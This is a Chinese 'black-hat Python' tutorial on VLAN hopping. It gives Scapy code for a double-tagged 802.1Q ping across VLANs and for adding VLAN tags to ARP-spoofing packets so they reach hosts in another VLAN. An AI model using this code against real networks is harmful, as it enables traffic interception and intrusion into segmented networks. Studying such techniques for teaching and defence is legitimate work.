VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个 VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个 VLAN 中。这篇文章主要介绍了 Python 黑帽编程 3.4 跨越 VLAN 的相关资料,需要的朋友参考下
Python 是一种面向对象、解释型计算机程序设计语言,由 Guido van Rossum 于 1989 年底发明,第一个公开发行版发行于 1991 年。Python 语法简洁而清晰,具有丰富和强大的类库。它常被昵称为胶水语言,它能够把用其他语言制作的各种模块(尤其是 C/C++)很轻松地联结在一起。
VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个 VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个 VLAN 中。图 2 是一个 VLAN 划分的例子。
图 2
实现 VLAN 的方式有很多种,基于交换设备的 VLAN 划分,一般有两种:
l 基于交换机的端口划分
l 基于 IEEE 802.1q 协议,扩展以太网帧格式
基于第二层的 VLAN 技术,有个 Trunking 的概念,Trunking 是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个 VLAN 的成员能够相互通讯。其中交换机之间互联用的端口就称为 Trunk 端口。除了 80.2.1q 之外,思科有自己的 Trunk 协议叫 ISL。
图 3
图 3 是 802.1q 的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了 VLAN Tag。红色部分的 VLAN Identifier 标识了一个数据包属于哪个 VLAN,从而保证了数据广播的范围不会跨越 VLAN。
现在做简单的思考,想要跨越 VLAN 通信,是不是只要修改数据包中的标识符就可以了呢?
3.4.1 VLAN Hopping
基于上面的分析,我们考虑一个简单的场景:跨 VLANping,从 Vlan1 的一个主机发送一个 ping 请求到 Vlan2 中的一个主机。
在具体编码前,我们还是要先解决 VLAN 数据包构造的问题,在 Scapy 中我们使用 Dot1Q 类来构造图 3 中的 Tag 部分。如图 4。
图 4
下面我们可以编写一个跨 VLAN 的 ping 请求了。
- #!/usr/bin/python
- from scapy.all import *
- packet = Ether(dst="c0:d3:de:ad:be:ef") / \
- Dot1Q(vlan=1) / \
- Dot1Q(vlan=2) / \
- IP(dst="192.168.13.3") / \
- ICMP()
- sendp(packet)
上面的代码我们指定了目标主机的 MAC 和 IP 地址,添加了两个 VLAN 标识,第一个是发送数据的主机所在的 VLAN,第二个是目标主机所在的 VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。
3.4.2 跨 VLAN 的 ARP 欺骗
3.1、3.2 和 3.3 节我们都在讨论 ARP 欺骗的问题,由于 VLAN 限制了广播域,我们之前的代码是无法跨 VLAN 进行 ARP 欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的 ARP 欺骗数据中插入 VLAN 标识即可。下面这段代码是我们在 3.1 节构造 ARP 请求数据包的代码。
- def build_req():
- if options.target is None:
- pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
- elif options.target:
- target_mac = getmacbyip(options.target)
- if target_mac is None:
- print "[-] Error: Could not resolve targets MAC address"
- sys.exit(1)
- pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
- return pkt
在构造数据包的部分,我们插入 VLAN 标识:
- pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
这样就可以实现跨 VLAN 的 ARP 欺骗了。
3.4.3 小结
本节主要讲了如何构造欺骗 VLAN 的数据包,达到跨 VLAN 数据通信和 ARP 欺骗的目的。需要注意的是,本文的方法主要针对 802.1Q 协议,对以端口进行物理隔离的的 VLAN 没有效果。
以上所述是小编给大家介绍的 Python 黑帽编程 3.4 跨越 VLAN 详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 PHPERZ 网站的支持!
来源: http://www.phperz.com/article/17/0316/301491.html